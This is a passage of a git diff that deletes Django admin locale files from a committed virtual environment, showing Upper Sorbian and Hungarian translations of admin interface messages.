"None" -msgstr "Žadyn" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Dźeržće „ctrl“ abo „cmd“ na Mac stłóčeny, zo byšće wjace hač jedyn wubrał." - -msgid "Select this object for an action - {}" -msgstr "Wubjerće tutón objekt za akciju – {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "{name} „{obj}“ je so wuspěšnje přidał." - -msgid "You may edit it again below." -msgstr "Móžeće deleka unowa wobdźěłać." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"{name} „{obj}“ je so wuspěšnje přidał. Móžeće deleka dalši {name} přidać." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "{name} „{obj}“ je so wuspěšnje změnił. Móžeće jón deleka wobdźěłować." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"{name} „{obj}“ je so wuspěšnje změnił. Móžeće deleka dalši {name} přidać." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "{name} „{obj}“ je so wuspěšnje změnił." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Dyrbiće zapiski wubrać, zo byšće akcije z nimi wuwjesć. Zapiski njejsu so " -"změnili." - -msgid "No action selected." -msgstr "žana akcija wubrana." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s „%(obj)s“ je so wuspěšnje zhašał." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "%(name)s z ID „%(key)s“ njeeksistuje. Je so snano zhašało?" - -#, python-format -msgid "Add %s" -msgstr "%s přidać" - -#, python-format -msgid "Change %s" -msgstr "%s změnić" - -#, python-format -msgid "View %s" -msgstr "%s pokazać" - -msgid "Database error" -msgstr "Zmylk datoweje banki" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s je so wuspěšnje změnił." -msgstr[1] "%(count)s %(name)s stej so wuspěšnje změniłoj." -msgstr[2] "%(count)s %(name)s su so wuspěšnje změnili." -msgstr[3] "%(count)s %(name)s je so wuspěšnje změniło." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s wubrany" -msgstr[1] "%(total_count)s wubranej" -msgstr[2] "%(total_count)s wubrane" -msgstr[3] "%(total_count)s wubranych" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 z %(cnt)s wubranych" - -msgid "Delete" -msgstr "Zhašeć" - -#, python-format -msgid "Change history: %s" -msgstr "Změnowa historija: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Zo bychu so %(class_name)s %(instance)s zhašeli, dyrbja so slědowace škitane " -"přisłušne objekty zhašeć: %(related_objects)s" - -msgid "Django site admin" -msgstr "Administrator sydła Django" - -msgid "Django administration" -msgstr "Administracija Django" - -msgid "Site administration" -msgstr "Sydłowa administracija" - -msgid "Log in" -msgstr "Přizjewić" - -#, python-format -msgid "%(app)s administration" -msgstr "Administracija %(app)s" - -msgid "Page not found" -msgstr "Strona njeje so namakała" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Je nam žel, ale požadana strona njeda so namakać." - -msgid "Home" -msgstr "Startowa strona" - -msgid "Server error" -msgstr "Serwerowy zmylk" - -msgid "Server error (500)" -msgstr "Serwerowy zmylk (500)" - -msgid "Server Error (500)" -msgstr "Serwerowy zmylk (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Zmylk je wustupił. Je so sydłowym administratoram přez e-mejl zdźělił a " -"dyrbjał so bórze wotstronić. Dźakujemy so za wašu sćerpliwosć." - -msgid "Run the selected action" -msgstr "Wubranu akciju wuwjesć" - -msgid "Go" -msgstr "Start" - -msgid "Click here to select the objects across all pages" -msgstr "Klikńće tu, zo byšće objekty wšěch stronow wubrać" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Wubjerće wšě %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Wuběr wotstronić" - -msgid "Breadcrumbs" -msgstr "Chlěbowe srjódki" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Modele w nałoženju %(name)s" - -msgid "Model name" -msgstr "Modelowe mjeno" - -msgid "Add link" -msgstr "Wotkaz přidać" - -msgid "Change or view list link" -msgstr "Lisćinowy wotkaz změnić abo pokazać" - -msgid "Add" -msgstr "Přidać" - -msgid "View" -msgstr "Pokazać" - -msgid "You don’t have permission to view or edit anything." -msgstr "Nimaće prawo něšto pokazać abo wobdźěłać." - -msgid "After you’ve created a user, you’ll be able to edit more user options." -msgstr "" -"Hdyž sće wužiwarja wutworił, móžeće dalše wužiwarske nastajenja wobdźěłać." - -msgid "Error:" -msgstr "Zmylk:" - -msgid "Change password" -msgstr "Hesło změnić" - -msgid "Set password" -msgstr "Hesło postajić" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Prošu porjedźće slědowacy zmylk." -msgstr[1] "Prošu porjedźće slědowacej zmylkaj." -msgstr[2] "Prošu porjedźće slědowace zmylki." -msgstr[3] "Prošu porjedźće slědowace zmylki." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Zapodajće nowe hesło za %(username)s." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -"Tuta akcija awtentifikacija na zakładźe hesła za tutoho wužiwarja " -"zmóžni ." - -msgid "Disable password-based authentication" -msgstr "Awtentifikaciju na zakładźe hesła znjemóžnić" - -msgid "Enable password-based authentication" -msgstr "Awtentifikaciju na zakładźe hesła zmóžnić" - -msgid "Skip to main content" -msgstr "Dale k hłownemu wobsahej" - -msgid "Welcome," -msgstr "Witajće," - -msgid "View site" -msgstr "Sydło pokazać" - -msgid "Documentation" -msgstr "Dokumentacija" - -msgid "Log out" -msgstr "Wotzjewić" - -#, python-format -msgid "Add %(name)s" -msgstr "%(name)s přidać" - -msgid "History" -msgstr "Historija" - -msgid "View on site" -msgstr "Na sydle pokazać" - -msgid "Filter" -msgstr "Filtrować" - -msgid "Hide counts" -msgstr "Ličby schować" - -msgid "Show counts" -msgstr "Ličby pokazać" - -msgid "Clear all filters" -msgstr "Wšě filtry zhašeć" - -msgid "Remove from sorting" -msgstr "Ze sortěrowanja wotstronić" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Sortěrowanski porjad: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Sortěrowanje přepinać" - -msgid "Toggle theme (current theme: auto)" -msgstr "Drastu změnić (aktualna drasta: auto)" - -msgid "Toggle theme (current theme: light)" -msgstr "Drastu změnić (aktualna drasta: swětła)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Drastu změnić (aktualna drasta: ćmowa)" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Hdyž so %(object_name)s '%(escaped_object)s' zhašeja, so tež přisłušne " -"objekty zhašeja, ale waše konto nima prawo slědowace typy objektow zhašeć:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Zo by so %(object_name)s '%(escaped_object)s' zhašało, dyrbja so slědowace " -"přisłušne objekty zhašeć:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Chceće woprawdźe %(object_name)s \"%(escaped_object)s\" zhašeć? Wšě " -"slědowace přisłušne zapiski so zhašeja:" - -msgid "Objects" -msgstr "Objekty" - -msgid "Yes, I’m sure" -msgstr "Haj, sym sej wěsty" - -msgid "No, take me back" -msgstr "Ně, prošu wróćo" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Hdyž so wubrany %(objects_name)s zhaša, so přisłušne objekty zhašeja, ale " -"waše konto nima prawo slědowace typy objektow zhašeć: " - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Hdyž so wubrany %(objects_name)s zhaša, so slědowace škitane přisłušne " -"objekty zhašeja:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Chceće woprawdźe wubrane %(objects_name)s zhašeć? Wšě slědowace objekty a " -"jich přisłušne zapiski so zhašeja:" - -msgid "Delete?" -msgstr "Zhašeć?" - -#, python-format -msgid " By %(filter_title)s " -msgstr "Po %(filter_title)s " - -msgid "Summary" -msgstr "Zjeće" - -msgid "Recent actions" -msgstr "Najnowše akcije" - -msgid "My actions" -msgstr "Moje akcije" - -msgid "None available" -msgstr "Žadyn k dispoziciji" - -msgid "Added:" -msgstr "Přidaty:" - -msgid "Changed:" -msgstr "Změnjeny:" - -msgid "Deleted:" -msgstr "Zhašany:" - -msgid "Unknown content" -msgstr "Njeznaty wobsah" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Něšto je so z instalaciju datoweje banki nimokuliło. Zawěsćće, zo wotpowědne " -"tabele datoweje banki su so wutworili, a, zo datowa banka da so wot " -"wotpowědneho wužiwarja čitać." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Sće jako %(username)s awtentifikowany, ale nimaće přistup na tutu stronu. " -"Chceće so pola druheho konta přizjewić?" - -msgid "Forgotten your login credentials?" -msgstr "Sće swoje přizjewjenske daty zabył?" - -msgid "Toggle navigation" -msgstr "Nawigaciju přepinać" - -msgid "Sidebar" -msgstr "Bóčnica" - -msgid "Start typing to filter…" -msgstr "Pisajće, zo byšće filtrował …" - -msgid "Filter navigation items" -msgstr "Nawigaciske zapiski fitrować" - -msgid "Date/time" -msgstr "Datum/čas" - -msgid "User" -msgstr "Wužiwar" - -msgid "Action" -msgstr "Akcija" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "zapisk" -msgstr[1] "zapiskaj" -msgstr[2] "zapiski" -msgstr[3] "zapiskow" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Tutón objekt nima změnowu historiju. Njeje so najskerje přez tute " -"administratorowe sydło přidał." - -msgid "Show all" -msgstr "Wšě pokazać" - -msgid "Save" -msgstr "Składować" - -msgid "Popup closing…" -msgstr "Wuskakowace wokno so začinja…" - -msgid "Search" -msgstr "Pytać" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s wuslědk" -msgstr[1] "%(counter)s wuslědkaj" -msgstr[2] "%(counter)s wuslědki" -msgstr[3] "%(counter)s wuslědkow" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s dohromady" - -msgid "Save as new" -msgstr "Jako nowy składować" - -msgid "Save and add another" -msgstr "Skłaodwac a druhi přidać" - -msgid "Save and continue editing" -msgstr "Składować a dale wobdźěłować" - -msgid "Save and view" -msgstr "Składować a pokazać" - -msgid "Close" -msgstr "Začinić" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Wubrane %(model)s změnić" - -#, python-format -msgid "Add another %(model)s" -msgstr "Druhi %(model)s přidać" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Wubrane %(model)s zhašeć" - -#, python-format -msgid "View selected %(model)s" -msgstr "Wubrany %(model)s pokazać" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "" -"Wulki dźak, zo sće sej čas brał, zo byšće kwalitu websydła dźensa " -"přepruwował." - -msgid "Log in again" -msgstr "Znowa přizjewić" - -msgid "Password change" -msgstr "Hesło změnić" - -msgid "Your password was changed." -msgstr "Waše hesło je so změniło." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Prošu zapodajće swoje stare hesło k swojemu škitej a potom swoje nowe hesło " -"dwójce, zo bychmy móhli přepruwować, hač sće jo korektnje zapodał." - -msgid "Change my password" -msgstr "Moje hesło změnić" - -msgid "Password reset" -msgstr "Hesło wróćo stajić" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Waše hesło je so nastajiło. Móžeće pokročować a so nětko přizjewić." - -msgid "Password reset confirmation" -msgstr "Wobkrućenje wróćostajenja hesła" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Prošu zapodajće swoje hesło dwójce, zo bychmy móhli přepruwować, hač sće jo " -"korektnje zapodał." - -msgid "New password:" -msgstr "Nowe hesło:" - -msgid "Confirm password:" -msgstr "Hesło wobkrućić:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Wotkaz za wróćostajenje hesła bě njepłaćiwy, snano dokelž je so hižo wužił. " -"Prošu prošće wo nowe wróćostajenje hesła." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Smy wam e-mejlku z instrukcijemi wo nastajenju wašeho hesła pósłali, jeli " -"konto ze zapodatej e-mejlowej adresu eksistuje. Wy dyrbjał ju bórze dóstać." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Jeli e-mejlku njedóstawaće, přepruwujće prošu adresu, z kotrejž sće so " -"zregistrował a hladajće do swojeho spamoweho rjadowaka." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Dóstawaće tutu e-mejlku, dokelž sće wo wróćostajenje hesła za swoje " -"wužiwarske konto na at %(site_name)s prosył." - -msgid "Please go to the following page and choose a new password:" -msgstr "Prošu dźiće k slědowacej stronje a wubjerće nowe hesło:" - -msgid "In case you’ve forgotten, you are:" -msgstr "Jeli sće je zabył, sće:" - -msgid "Thanks for using our site!" -msgstr "Wulki dźak za wužiwanje našeho sydła!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Team %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Sće swoje hesło zabył? Zapodajće deleka swoju e-mejlowu adresu a pósćelemy " -"wam instrukcije za postajenje noweho hesła přez e-mejl." - -msgid "Email address:" -msgstr "E-mejlowa adresa:" - -msgid "Reset my password" -msgstr "Moje hesło wróćo stajić" - -msgid "Select all objects on this page for an action" -msgstr "Wubjerće wšě objekty na tutej stronje za akciju" - -msgid "All dates" -msgstr "Wšě daty" - -#, python-format -msgid "Select %s" -msgstr "%s wubrać" - -#, python-format -msgid "Select %s to change" -msgstr "%s wubrać, zo by so změniło" - -#, python-format -msgid "Select %s to view" -msgstr "%s wubrać, kotryž ma so pokazać" - -msgid "Date:" -msgstr "Datum:" - -msgid "Time:" -msgstr "Čas:" - -msgid "Lookup" -msgstr "Pytanje" - -msgid "Currently:" -msgstr "Tuchylu:" - -msgid "Change:" -msgstr "Změnić:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hsb/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/hsb/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 18bed2d9..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hsb/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hsb/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/hsb/LC_MESSAGES/djangojs.po deleted file mode 100644 index 59347584..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hsb/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,326 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Michael Wolf , 2016,2020-2023,2025 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-25 15:04-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Michael Wolf , 2016,2020-2023,2025\n" -"Language-Team: Upper Sorbian (http://app.transifex.com/django/django/" -"language/hsb/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: hsb\n" -"Plural-Forms: nplurals=4; plural=(n%100==1 ? 0 : n%100==2 ? 1 : n%100==3 || " -"n%100==4 ? 2 : 3);\n" - -#, javascript-format -msgid "Available %s" -msgstr "%s k dispoziciji" - -#, javascript-format -msgid "" -"Choose %s by selecting them and then select the \"Choose\" arrow button." -msgstr "" -"Wubjerće je, zo byšće %swubrał a wubjerće potom šipowe tłóčatko „Wubrać“." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "" -"Zapisajće do tutoho kašćika, zo byšće někotre z lisćiny k dispoziciji " -"stejacych %s wufiltrował." - -msgid "Filter" -msgstr "Filtrować" - -#, javascript-format -msgid "Choose all %s" -msgstr "Wšě %s wubrać" - -#, javascript-format -msgid "Choose selected %s" -msgstr "Wubrane %swubrać" - -#, javascript-format -msgid "Remove selected %s" -msgstr "" - -#, javascript-format -msgid "Chosen %s" -msgstr "Wubrane %s" - -#, javascript-format -msgid "" -"Remove %s by selecting them and then select the \"Remove\" arrow button." -msgstr "" -"Wubjerće je, zo byšće %swotstronił a wubjerće potom šipowe tłóčatko " -"„Wotstronić“." - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "" -"Zapisajće do tutoho kašćika, zo byšće někotre z lisćiny wubranych %s " -"wufiltrował." - -msgid "(click to clear)" -msgstr "(klikńće, zo byšće zhašał)" - -#, javascript-format -msgid "Remove all %s" -msgstr "Wšě %s wotstronić" - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%swubrane nastajenje njewidźomne" -msgstr[1] "%swubranej nastajeni njewidźomnej" -msgstr[2] "%s wubrane nastajenja njewidźomne" -msgstr[3] "%swubranych nastajenjow njewidźomne" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s z %(cnt)s wubrany" -msgstr[1] "%(sel)s z %(cnt)s wubranej" -msgstr[2] "%(sel)s z %(cnt)s wubrane" -msgstr[3] "%(sel)s z %(cnt)s wubranych" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Maće njeskładowane změny za jednotliwe wobdźěłujomne pola. Jeli akciju " -"wuwjedźeće, so waše njeskładowane změny zhubja." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Sće akciju wubrał, ale njejsće hišće swoje změny na jednoliwych polach " -"składował. Prošu klikńće na „W porjadku, zo byšće składował. Dyrbiće akciju " -"znowa wuwjesć." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Sće akciju wubrał, a njejsće žane změny na jednotliwych polach přewjedł. " -"Pytajće najskerje za tłóčatkom „Pósłać“ město tłóčatka „Składować“." - -msgid "Now" -msgstr "Nětko" - -msgid "Midnight" -msgstr "Połnóc" - -msgid "6 a.m." -msgstr "6:00 hodź. dopołdnja" - -msgid "Noon" -msgstr "připołdnjo" - -msgid "6 p.m." -msgstr "6 hodź. popołdnju" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Kedźbu: Waš čas je wo %s hodźinu před serwerowym časom." -msgstr[1] "Kedźbu: Waš čas je wo %s hodźin před serwerowym časom." -msgstr[2] "Kedźbu: Waš čas je wo %s hodźiny před serwerowym časom." -msgstr[3] "Kedźbu: Waš čas je wo %s hodźin před serwerowym časom." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Kedźbu: Waš čas je wo %s hodźinu za serwerowym časom." -msgstr[1] "Kedźbu: Waš čas je wo %s hodźinje za serwerowym časom." -msgstr[2] "Kedźbu: Waš čas je wo %s hodźiny za serwerowym časom." -msgstr[3] "Kedźbu: Waš čas je wo %s hodźin za serwerowym časom." - -msgid "Choose a Time" -msgstr "Wubjerće čas" - -msgid "Choose a time" -msgstr "Wubjerće čas" - -msgid "Cancel" -msgstr "Přetorhnyć" - -msgid "Today" -msgstr "Dźensa" - -msgid "Choose a Date" -msgstr "Wubjerće datum" - -msgid "Yesterday" -msgstr "Wčera" - -msgid "Tomorrow" -msgstr "Jutře" - -msgid "January" -msgstr "Januar" - -msgid "February" -msgstr "Februar" - -msgid "March" -msgstr "Měrc" - -msgid "April" -msgstr "Apryl" - -msgid "May" -msgstr "Meja" - -msgid "June" -msgstr "Junij" - -msgid "July" -msgstr "Julij" - -msgid "August" -msgstr "Awgust" - -msgid "September" -msgstr "September" - -msgid "October" -msgstr "Oktober" - -msgid "November" -msgstr "Nowember" - -msgid "December" -msgstr "December" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Jan." - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Feb." - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Měr." - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Apr." - -msgctxt "abbrev. month May" -msgid "May" -msgstr "Meja" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Jun." - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Jul." - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Awg." - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Sep." - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Okt." - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Now." - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Dec." - -msgid "Sunday" -msgstr "Njedźela" - -msgid "Monday" -msgstr "Póndźela" - -msgid "Tuesday" -msgstr "Wutora" - -msgid "Wednesday" -msgstr "Srjeda" - -msgid "Thursday" -msgstr "Štwórtk" - -msgid "Friday" -msgstr "Pjatk" - -msgid "Saturday" -msgstr "Sobota" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "Nje" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "Pón" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "Wut" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "Srj" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "Štw" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "Pja" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "Sob" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "Nj" - -msgctxt "one letter Monday" -msgid "M" -msgstr "Pó" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "Wu" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "Sr" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "Št" - -msgctxt "one letter Friday" -msgid "F" -msgstr "Pj" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "So" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hu/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/hu/LC_MESSAGES/django.mo deleted file mode 100644 index 0f1e023e..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hu/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hu/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/hu/LC_MESSAGES/django.po deleted file mode 100644 index fc31d8d8..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hu/LC_MESSAGES/django.po +++ /dev/null @@ -1,798 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Ádám Krizsány , 2015 -# Akos Zsolt Hochrein , 2018 -# András Veres-Szentkirályi, 2016,2018-2020,2023 -# Balázs R, 2023,2025 -# Istvan Farkas , 2019 -# Jannis Leidel , 2011 -# János R, 2017 -# János R, 2014 -# Kristóf Gruber <>, 2012 -# slink , 2011 -# Szilveszter Farkas , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Balázs R, 2023,2025\n" -"Language-Team: Hungarian (http://app.transifex.com/django/django/language/" -"hu/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: hu\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Kiválasztott %(verbose_name_plural)s törlése" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d %(items)s sikeresen törölve lett." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "%(name)s törlése nem sikerült" - -msgid "Delete multiple objects" -msgstr "Több elem törlése" - -msgid "Administration" -msgstr "Adminisztráció" - -msgid "All" -msgstr "Mind" - -msgid "Yes" -msgstr "Igen" - -msgid "No" -msgstr "Nem" - -msgid "Unknown" -msgstr "Ismeretlen" - -msgid "Any date" -msgstr "Bármely dátum" - -msgid "Today" -msgstr "Ma" - -msgid "Past 7 days" -msgstr "Utolsó 7 nap" - -msgid "This month" -msgstr "Ez a hónap" - -msgid "This year" -msgstr "Ez az év" - -msgid "No date" -msgstr "Nincs dátuma" - -msgid "Has date" -msgstr "Van dátuma" - -msgid "Empty" -msgstr "Üres" - -msgid "Not empty" -msgstr "Nem üres" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Adja meg egy adminisztrációra jogosult %(username)s és jelszavát. Vegye " -"figyelembe, hogy mindkét mező megkülönböztetheti a kis- és nagybetűket." - -msgid "Action:" -msgstr "Művelet:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Újabb %(verbose_name)s hozzáadása" - -msgid "Remove" -msgstr "Törlés" - -msgid "Addition" -msgstr "Hozzáadás" - -msgid "Change" -msgstr "Módosítás" - -msgid "Deletion" -msgstr "Törlés" - -msgid "action time" -msgstr "művelet időpontja" - -msgid "user" -msgstr "felhasználó" - -msgid "content type" -msgstr "tartalom típusa" - -msgid "object id" -msgstr "objektum id" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "objektum repr" - -msgid "action flag" -msgstr "művelet jelölés" - -msgid "change message" -msgstr "üzenet módosítása" - -msgid "log entry" -msgstr "naplóbejegyzés" - -msgid "log entries" -msgstr "naplóbejegyzések" - -#, python-format -msgid "Added “%(object)s”." -msgstr "\"%(object)s\" hozzáadva." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "\"%(object)s\" módosítva — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "\"%(object)s\" törölve." - -msgid "LogEntry Object" -msgstr "Naplóbejegyzés objektum" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "\"{object}\" {name} hozzáadva." - -msgid "Added." -msgstr "Hozzáadva." - -msgid "and" -msgstr "és" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "\"{object}\" {name} {fields} módosítva." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "{fields} módosítva." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "\"{object}\" {name} törölve." - -msgid "No fields changed." -msgstr "Egy mező sem változott." - -msgid "None" -msgstr "Egyik sem" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Több elem kiválasztásához tartsa nyomva a \"Control\" gombot, vagy Mac " -"gépeken a \"Command\" gombot." - -msgid "Select this object for an action - {}" -msgstr "Objektum kijelölése egy művelethez - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "A(z) \"{obj}\" {name} sikeresen hozzáadva." - -msgid "You may edit it again below." -msgstr "Alább ismét szerkesztheti." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"A(z) \"{obj}\" {name} sikeresen hozzáadva. Alább hozzadhat egy új {name} " -"rekordot." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "A(z) \"{obj}\" {name} sikeresen módosítva. Alább újra szerkesztheti." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"A(z) \"{obj}\" {name} sikeresen módosítva. Alább hozzáadhat egy új {name} " -"rekordot." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "A(z) \"{obj}\" {name} sikeresen módosítva." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"A műveletek végrehajtásához ki kell választani legalább egy elemet. Semmi " -"sem lett 